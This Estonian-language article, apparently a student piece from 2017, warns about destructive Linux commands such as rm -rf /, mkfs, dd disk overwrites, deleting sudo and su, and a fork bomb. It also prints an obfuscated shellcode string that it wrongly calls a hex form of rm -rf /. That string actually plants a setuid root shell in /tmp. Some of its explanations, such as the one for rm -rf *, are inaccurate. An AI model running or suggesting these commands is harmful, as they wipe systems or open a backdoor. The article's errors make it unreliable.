Linuxi surmakäsud

Autor

Jaan Veikesaar

A21

05/11/2017

Linuxi surmakäsud

Vabadus on kahe teraline mõõk. Ühest otsast hea aga kui sa ei tea mis sa teed, siis võid ennast päris korralikult lõigata, sest Linux ei küsi terminalis kinnitust kui sa jooksutad käsu, mis su süsteemi katki teeb. Samuti võid sa Internetist mõne tegelase leida, kes soovitab mõnda siin olevat käsku sisestada. Siin on mõned näited käskudest mida pole mõtet niisama jooksutada.

Kustuta kõik palun

rm -rf /

• Antud käsu sisestades kustutab Linux rõõmsalt kõik mis ta vähegi suudab. rm käsk kustutab kõik kohe, mitte ei saada prügikasti kus seda saaks taastada.

rm – Kustuta järgnevad failid.

-rf - Jooksuta rm käsku rekursiivselt ehk kustuta kõik failid ja kaustad etteantud kaustas ja eemalda need jõuga ilma sinult küsimata.

/ - See annab rm käsule juurika kataloogi, mis sisaldab kogus sinu kõvaketast, kõiki küljes olevaid seadmeid ja eemaldatavaid andmekandjaid.

• Veel erinevaid võimalusi:

rm -rf ~ - kustutab kodukataloogi.

rm -rf * - kustutab seadistuste failid.

• Samuti võidakse sind proovida petta. Järgnev kood on rm -rf / heksa esitlus, mis toimib täpselt samamoodi kui rm -rf / sisestades.

char esp[] __attribute__ ((section(“.text”))) /* e.s.p

release */ = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68” “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99” “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7” “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56” “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31” “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69” “\x6e\x2f\x73\x68\x00\x2d\x63\x00” “cp -p /bin/sh /tmp/.beyond; chmod 4755\ /tmp/.beyond;”;

Linuxi Format C:\

mkfs.ext4 /dev/sda

See käsk formaadib sda kõvaketta, mis on see kus operatsioonisüsteem asub, ext4 failisüsteemi kasutama. Ehk peale selle sisestamist on ketta sisu kaotsi läinud.

mkfs - make file system käsk, ehk loo failisüsteem

ext4 - meie poolt ette antud failisüsteem, võib ka teisi kasutada

/dev/sda - kõvaketas, millele käsk suunatud on

• See käsk on tihti internetist leitav kui üks Linuxi surmakäskudest. Aga kui proovida seda teha, siis tuleb teade, et mount'itud ketast ei saa vormindada. Seega see käigus olevat operatsiooni süsteemile ei tohiks midagi teha aga teisi kettaid saab puhtaks teha küll.

Kõvaketta täitmine nullidega või suvaliste bittidega

dd if=/dev/zero of=/dev/sda

dd if=/dev/random of=/dev/sda

Esimene käsk paneb süsteemi kõvaketta sisu nullidega ja teine suvaliste bittidega üle kirjutama.

dd - käsk, mida kasutatakse, et ketastele andmeid kirjutada

if - parameeter, mis otsustab andmete pärinemise ehk sellel juhul /dev/zero toodab igavese voo nulle ja /dev/random igavese nivoo suvalisi bitte.

of=/dev/sda – väljundiks on esimene kõvaketas

See on hea käsk kui hakkad näiteks kõvaketast müüma ja soovid sellelt oma andmed kustutada aga muidu tasub sellega ettevaatlik olla.

Sudo ja Su kustutamine

Üks viis oma elu ebameeldivaks muuta on eemaldades Linuxist kaks tähtsat käsku: sudo ja su. Need lubavad sul käske jooksutada juurõigustega ja ilma nendeta kaotad sa palju oma tegutsemisvabadusest. Nende taastamine on võimalik aga ajamahukas ja pead murdev töö.

rm -f /usr/bin/sudo

rm -f /bin/su

Musta auku saatmine

/dev/null on eriline koht mis toimib nagu must auk – kõik sinna saadetu on kaob aga see raporteerib, et kirjutamise operatsioon õnnestus. Tavaliselt saadetakse siia mingist protsessist tulevad ebavajalikud väljundid.

mv – käsk mis liigutab faili või kausta teise asukohta.

~ - kodukataloogi esitlus.

/dev/null – koht kuhu kodukataloog liigutatakse ja kus selle andmed hävinevad.

Kirjuta ketas üle

Käsk > /dev/sda

See käsk võtab siis suvaliselt käsult saadud sisendi ja kirjutab selle väljundi operatsioonisüsteemi asukohale, kustutades kõik muu eelneva info.

Käsk - võib siin olla suvaline käsklus (grep näiteks)

> - saada väljund järgnevasse asukohta ja kirjuta see üle

/dev/sda – peamine kõvaketas

Surm kahvliga

:(){:|:&};:

Tundub suvaline sümbolite jada aga see on ohtlik bashi funktsioon mida tuntakse kahvlipommina (Fork Bomb). See käsk teeb endast koopia ja siis need koopiad teevad veel endast koopia ja nii lõpmatuseni või kuni arvuti kokku jookseb, sest protsessori ja muutmälu ressurss ei ole lõpmatu. Selle ravib taas käivitamine aga oht on, et salvestamata andmed võivad kaduma minna.